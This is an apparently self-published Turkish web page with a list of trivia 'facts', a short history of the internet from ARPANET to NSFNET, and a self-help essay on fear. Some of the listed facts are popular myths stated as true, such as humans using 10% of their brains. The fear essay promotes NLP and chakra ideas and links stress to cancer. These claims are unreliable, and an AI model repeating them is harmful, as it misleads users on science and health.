* Gözleri açık tutarak hapşırmak imkansızdır.

* Kadınlar erkeklere oranla iki kat daha fazla göz kırparlar.

* Penguen yüzebilen ama uçamayan tek kuştur.

* Sadece insanlar ve yunuslar zevk için cinsel ilişkide bulunurlar.

* İnsan elinde, en yavaş uzayan tırnak baş parmakta,en hızlı uzayan tırnak ise orta parmaktadır.

* İnsanlar beyinlerinin %10’nu kullanırlar.

* Bir insan yedi dakika içerisinde uykuya dalar.

* Sıcak su soğuk sudan daha ağırdır.

* Sarışınların esmerlere göre daha fazla sacı vardır.

* Soğan doğrarken sakız çiğnemek göz yaşarmasını önler.

İnternetin Tarihçesi

İnternetin köklerini 1962 yılında J.C.R. Licklider'in Amerika'nın en büyük üniversitelerinden biri olan Massachusetts Institute of Tecnology'de (MIT ) tartışmaya açtığı "Galaktik Ağ" kavramında bulabiliriz. Licklider, bu kavramla küresel olarak bağlanmış bir sistemde isteyen herkesin herhangi bir yerden veri ve programlara erişebilmesini ifade etmişti. Licklider 1962 Ekim ayında Amerikan Askeri araştırma projesi olan İleri Savunma Araştırma Projesi'nin (DARPA - Defense Advensed
Research Project Agency ) bilgisayar araştırma bölümünün başına geçti. MIT'de araştırmacı olarak çalışan Lawrance Roberts ile Thomas Merrill, bilgisayarların ilk
kez birbirleri ile 'konuşmasını' ise 1965 yılında gerçekleştirdi.

1966 yılı sonunda Roberts DARPA'da çalışmaya başladı ve "ARPANET" isimli projesi önerisini yaptı. ARPANET çerçevesinde ilk bağlantı 1969 yılında dört merkezle yapıldı ve ana bilgisayarlar arası bağlantılar ile internetin ilk şekli ortaya çıktı. ARPANET'İ oluşturan ilk dört merkez University of California at Los Angeles (UCLA ), Stanford Research Institute (SRI ), University of Utah ve son olarak University of California at Santa Barbara (UCSB ) idi (Gromov, 1998 ).

Kısa süre içerisinde birçok merkezdeki bilgisayarlar ARPANET ağına bağlandı.
1971 yılında Ağ Kontrol protokolü (NCP-Network Control Protokol )ismi verilen bir protokol ile çalışmaya başladı. 1972 yılı Ekim ayında gerçekleştirilen Uluslararsı Bilgisayar İletişim Konferansı (ICCC- International Computer Communications Conference ) isimli Konferansta, ARPANET'in NCP ile başarılı bir demontrasyonu gerçekleştirildi. Yine bu yıl içinde elektronik posta (e-mail ) ilk defa ARPANET içinde kullanılmaya başladı. NCP'DEN daha fazla yeni olanaklar getiren yeni bir protokol,
1 Ocak 1983 tarihinde İletişim Kontrol Protokolu (Transmission Control Protokol/ internet protokol - TCP/IP ) adıyla ARPANET içinde kullanılmaya başladı. TCP/IP bugün varolan internet ağının ana halkası olarak yerini aldı.

1980 yılların ortasında Savunma Bakanlığı'na bağlı (DoD ) Amerikan askeri
bilgisayar ağı, ARPANET'ten ayrıldı ve MILITARY NET adı ile kendi ağını kurdu. 1986 yılında Amerikan bilimsel araştırma kurumu 'Ulusal Bilim Kuruluşu' (NSF ), ARPANET
için ülke çapında beş büyük süper bilgisayar merkezi kurulmasını içeren kapsamlı bir öneri paketi öne sürdü. ARPANET Amerikan hükümetinin sübvansiyonu ile NSFNET olarak düzenlendi. 1987 yılında yeniden düzenlediği internet yapılanması planı ile NSFNET yedi bölgesel nokta üzerinde 1.5 Mb/s (daha önce 56 Kb/s idi ) güçlü bir omurgayı işleteceğini duyurdu.

NSFNET Merit olarak adlandırılan Michigan Eyaletindeki üniversitelerin organizasyonu ile NSF'in yaptığı bir anlaşma doğrultusunda işletilmeye başlandı. NSFNET'in işletilmesine bir süre sonra Merit'in yanında ABD'nin dev bilgisayar firması IBM ve haberleşme firması MCI dahil oldu. NSFNET'in işletilmesine yönelik 1990 yılında oluşturulan bu birlik 'İleri Ağ Hizmetleri' (ANS-Advance Network Services )olarak adlandırıldı.ANS'nin kuruluşu süreci ABD'de 1990'lara kadar devlet desteğinde gelişen internet omurgasının özelleştirilmesi sürecinin de başlangıcı olmuştur.

1990 yılında NSFnet ile özel şirketlerin ortak işletmesi ile başlayan özelleştirme
süreci, 1995 yılı mayıs ayında NSF'nin internet omurga işletmeciliğinden tamamen çekilmesi ile tamamlandı. 1995 yılından itibaren ABD internet omurga işletimi
tamamen özel işleticilerinin elindedir.

Internet‘e çeşitli şekillerde, başlangıcından 1994 yılı sonuna kadar 110 ülke, 10,000 bilgisayar ağı, 3,000,000 dan fazla bilgisayar ve 25 milyonu aşkın kullanıcı bağlanmıştır. Bu sayı, Web Sayfası kavramının kullanıma girdiği 1995 yılı içinde büyük bir patlama göstermiş ve 60 milyon’a ulaşmıştır. Bu sayının 1996 yılı içinde de, her ay yüzde 10 artması beklenmekteydi. Ve şu an Türkiye' de 5 Milyon, Dünyada toplam 300 Milyon İnternet kullanıcısı olduğu sanılıyor. Görüldüğü üzere Internet büyük bir hızla dünyanın her köşesine din, dil, ırk ve ülke ayrımı yapmadan erişmektedir. Şu an yeni yüzyılın en büyük iletişim ve reklam araçlarının başında gelmektedir.






   
 
Korku Hakkında ! Korku nedir? Neden korkarız.! Korku Duygusu

    Veteknoloji Korku Bölümü ( 18 Yaşından Küçükler ve Kalp hastalarının Girmesi Sakıncalıdır. )

Korku Nedir ?

Korku, beynin yarattığı bir illüzyondur. Kişisel gelişim konularında örneğin NLP de uzmanlaşmak isteyen biri korkunun kaynağını bilir. Kaynağı bilinen bir davranışın üstesinden gelmek ise oldukça kolaydır.

 Korku illuzyonu
Bütün davranışların temeli, beynin çalışma prensiplerine dayanır. Korkunun da bir prensibi vardır. Eğer bunu davranışlarımızda gözlemleme alışkanlığına kavuşturursak, sahip olduğumuz ya da olacağımız her türlü korku ve kaygının da üstesinden gelmiş oluruz. Bu alışkanlığa biz “farkındalık” ta diyebiliyoruz. Farkındalık, benim tabirimle duyguları kontrol etme gücüdür. Aynı zamanda kendini tanımanın diğer adıdır.
Eğer farkındalık konusunda az çok bilgi sahibi iseniz, kendinizi tanıma konusunda, hiçbir zaman tam anlamıyla kendinizi tanıyamayacak olmanızın gerçekten ürkütücü olduğunu da anlamışsınızdır. Bu kendini bilme-tanıma-öğrenme ya da farkındalık denilen şey, siz ölene kadar devam eder.

Kişisel gelişim konusunda sadece beynin çalışma prensiplerini bilmek yeterli olmuyor. Örneğin çakra bilgisi, bilinmesi gereken önemli konulardan sadece biri. Çakra bilgisi ayrı bir konu olduğu için korku konusuna kaldığımız yerden devam edelim.

Duyguları kontrol etme gücü dedik. Bunu nasıl sağlayabiliriz? Duygularınızı kontrol edemezseniz duygularınız sizi kontrol eder. Bu bir kuraldır. Ne yazık ki insanların % 100’e yakını duygularını kontrol edemiyor. Bunu neden yapamıyor? Çünkü kolay bir şey değil. Duyguları kontrol etmek derken kontrol edip, robotik bir davranışa geçilsin anlamında söylemiyorum. Her davranışın yeri ve zamanı vardır. Örneğin size çok yakın birini kaybettiğinizde duygularınızı serbest bırakıp ağlamanız gerekir. Bu konuda kendinizi kontrol edebileceğiniz sınır, aşırı tepki vermeme hususudur.

Bütün davranışların temeli beynin çalışma prensiplerine dayanır demiştik. Her duygu için geçerlidir bu. Şimdi korkunun beyinde nasıl işlendiğini görelim.

 Hep söylenir bilinçaltı şöyle, bilinçaltı böyle. Fakat kimse bunu tam anlamıyla açıklamaz. Ne olduğunu tam anlamıyla kimse bize anlatmaz. Sadece bazı davranışları örnek verirken, bilinçaltı hakkında fazla bilgimiz olmadığı halde, “bilinçaltına yerleşmiş” falan deriz. Bilinçaltı, otomatik kazanılmış davranışlarımızın kaynağıdır. Buna fobi dediğimiz korkular da dâhildir. Örneğin ben bu yazıyı on parmak kullanarak yazıyorsam bu bilinçaltı sayesinde olur. Araba sürerken pedalların ve vitesin nerde olduğunu düşünmeden hareket ediyorsak bu bilinçaltı sayesindedir. Yine yazı yazarken ya da kitap okurken,yemek yerken, yürürken rutin sergilediğimiz davranışlar bilinçaltı sayesindedir.

Bilinçaltı, saniyede binlerce bilgiyi depolar. Bunu fark etmezsiniz. Bu yazıyı okurken dışarıdan geçen arabaların sesini, yan odada çalan radyoyu, kedinizin miyavlamasını, içerde yemek yapan annenizin söylediği şarkıyı, işyerindeyseniz, çalışma arkadaşlarınızın ya da müşterilerin konuşmalarını hep kaydeder.

Peki, bilinç ne yapar? Bilinç de sizin bu yazıyı okumanıza yardımcı olur. Eğer okuduğunuzu anlıyorsanız bu bilinciniz sayesindedir. Sadece okuyorsanız da bilinçaltı sayesinde. Diğer tarafta msn de arkadaşınıza bilincinizle cevap verirsiniz. Excel’de yapacağınız hesap tablosunu bilinciniz sayesinde düzenlersiniz. Bilinçaltı ve bilinç devamlı bir koordinasyon halindedir. Örneğin ben bu yazıyı bilincim sayesinde yazarken bilinçaltım sayesinde de on parmak yazıyorum. Koordinasyonu görüyorsunuz değil mi?

Korkunun nasıl oluştuğunu anlamak için ham bir beyni ele alalım. Bir yaşında henüz emeklemekten yürümeye yeni geçmekte olan bir bebeğin korkusu bu. Annesinin, yerde emeklerken odanın içinde bulunan sobaya doğru hareket ettiğinde cıs diyerek uyarı vermesi sebebi ile yanına yaklaşmaya çekindiği nesneden korkması için henüz bir neden yok. Yürümeye yeni başladığı için sağa sola tutunarak ayağa kalkması ve dengesini kaybedip sobanın üzerine doğru düştüğünde, yüzünü düşeceği nesneden korumak için elini öne doğru attığında, artık o nesnenin kendisi için gerçekten korkutucu olduğunu öğrenmiş bulundu. Annesinin çığlıkları sobada yanan eli için feryat eden kendi çığlıklarına karıştı. Annesi, hemen yanan ele soğuk bir su tutup acının daha fazla büyümesini engelledi. Akşam babası eve gelip de kendisini kucağına aldığında babasına sobayı göstererek cıs dedi.

 Şimdi bu korkunun beyinde nasıl işlendiğine bakalım. Normalde korku denilen şey bilinçlidir. Bilincimiz, korkulacak şey meydana geldiğinde beynimizde bulunan amigdala denilen bölümü uyarır amigdala, bu sayede korku dediğimiz duyguyu meydana getirecek kimyasalları salgılar. Eğer amigdala ya uyarıyı bilinçaltımız göndermiş ise o zaman bunun adı fobi olur. Yani bu korku artık otomatik bir hal alır. Yükseklik fobisi, kedi-köpek fobisi, topluluk içinde konuşma fobisi gibi fobilerin kaynağı bilinçaltıdır. Bize çok komik gelen bir fobi, ona sahip olan için gerçekten elem vericidir. Bu basit korku için devamlı kendini suçlar. Ah benim aptal kafam falan der. Aklınıza her hangi bir şey getirin onunla ilgili fobisi olan biri mutlaka vardır.

Az önce bir bebeğin korkusunu ele aldık. Şimdi bu korkunun bilince mi yoksa bilinçaltına mı yerleşeceğini irdeleyelim. Bebek sağa sola tutunarak ayağa kalktı ve o çok merak ettiği cıs’ın yanına doğru hamle yaptı fakat henüz tam olarak yürümeyi öğrenemediği için dengesini kaybetti. Dengesini kaybettiğini fark eden annesi bir çığlık attı. İşitsel uyarı. Bu işitsel uyarı başına gelecek olan şeyin gerçekten kendisine acı vereceğini hissetmesi için ilk uyarı oldu. Düşerken cıs denilen nesneyi gördü. Görsel uyarı. Yüzünü cıs’a çarpmamak için elini uzattı ve eli yandı. Duyusal ya da Kine Estetik uyarı.
Bu üç uyarı şekli bir insanın bir şeyi tam anlamıyla öğrenmesi yani bilince ya da bilinçaltına yazılması için gerekli uyarı şekilleridir. Eğer bir şeyi tam olarak öğrenmek istiyorsanız. Onu dinlerken görür ve uygularsanız öğrenmenizde çok etkili olur. Bu bir korku olsa bile. Hele hele belli yaş gruplarına kadar çok önemli olan beyin dalgalarının en hassas olduğu anlarda bu uyarılar çok daha önemlidir. Eğer bu bebeğin bilinçaltına bahsettiğim şekilde bir korku yerleşmişse o zaman bunun adı fobi olur. Kendisi küçükken sobada yanan elini hatırlamasa bile, yetişkin bir insan olduğunda bilinçaltı bir soba gördüğünde kendisini uyaracaktır.

Korkular gereklimidir?
Hem de nasıl. Diyelim ki araba kullanıyorsunuz. Hatalı solama yaptınız karşıdan gelen arabaya çarpmamak için uyarıyı size amigdala verir. Hemen direksiyonu ne tarafa kırmanız gerektiği yönünde bir hareket yaparsınız. Eğer amigdala size korku uyarısını vermemiş olsaydı. Karşıdan gelen arabaya çarpmanın korkulacak bir duygu olmadığını düşündüğünüzden sürmeye devam edecektiniz. Başka bir örnek. Yolda yürüyorsunuz karşıdan ağzında salyalar akarak size doğru koşan bir köpek var. Burada yapacağınız iki korku davranışı var. Bunlardan birincisi, tabana kuvvet kaçmak, ikincisi de durup savaşmak. Eğer amigdala size korku uyarısını vermeseydi, hiçbir şey yapmayıp kuduz köpeğin kurbanı olacaktınız.

Bütün korkular yukarıda anlattığım şekilde gerçekleşmez. Örneğin kaygı dediğimiz bir çeşit korku da amigdala uyarımı sayesinde olur. Küçük bir çocuğa sorduğunuzda sizin kaygı diye isim taktığınız şeyi korku olarak açıklayacaktır. Daha henüz kaygı terimini öğrenmemiştir çünkü.
Kaygı, fobi denilen öğrenilmiş, otomatikleşmiş korkulardan farklıdır. Fobiler ve kaygılar mutlaka aşılması gereken korkulardır. Bunlar aşılmadığı sürece stres dediğimiz duygulara sebep olur. Stres ise psikosomatik hastalıkların kaynağını oluşturur. Psikosomatik hastalıklar çok tehlikeli kanser türlerinden ülsere kadar bir çok irili ufaklı hastalıklar olabilir.
Kaygı, korkunun bir versiyonudurGereksiz korkular ve kaygılar için neler yapabiliriz?
Özellikle fobi konusunda çok çeşitli yöntemler var. Bunların arasında NLP yöntemiyle herkesin rahatlıkla uygulayabileceği hızlı fobi yenme tekniğini başka bir yazıda açıklayabilirim. Yine fobiler için bilinçaltına inip hipnoz yöntemi kullanılabilir. Fobiler için kullanılacak farklı yöntemler ayrı bir yazı konusu olabilecek kadar uzundur.
Kaygıda ise temel sebep An’ı yaşamamaktır. Bilinç, geçmiş kötü anılar ve gelecek kaygısı arasında gider gelir. Sizi gerçekten sıkıntıya sokan bir probleminiz, geçmiş kötü anılarınızdan kurtulamayan bir bilinciniz, depresif bir yapınız ve devamlı gelecek ile ilgili bir kaygınız var ise çok şanslısızın. Evet, yanlış duymadınız çok şanslısınız. Çünkü kendinizi tanıma adına, farkındalık adına, NLP öğrenme adına bir fırsat geçmiş elinize. NLP yi en iyi şekilde üzerinizde bir problem bir musibet varken öğrenirsiniz. Size tavsiyem eğer imkânınız varsa hemen şimdi öğrenmeye başlayın.

 




 


Bu web sitesi ücretsiz olarak Bedava-Sitem.com ile oluşturulmuştur. Siz de kendi web sitenizi kurmak ister misiniz?
Ücretsiz kaydol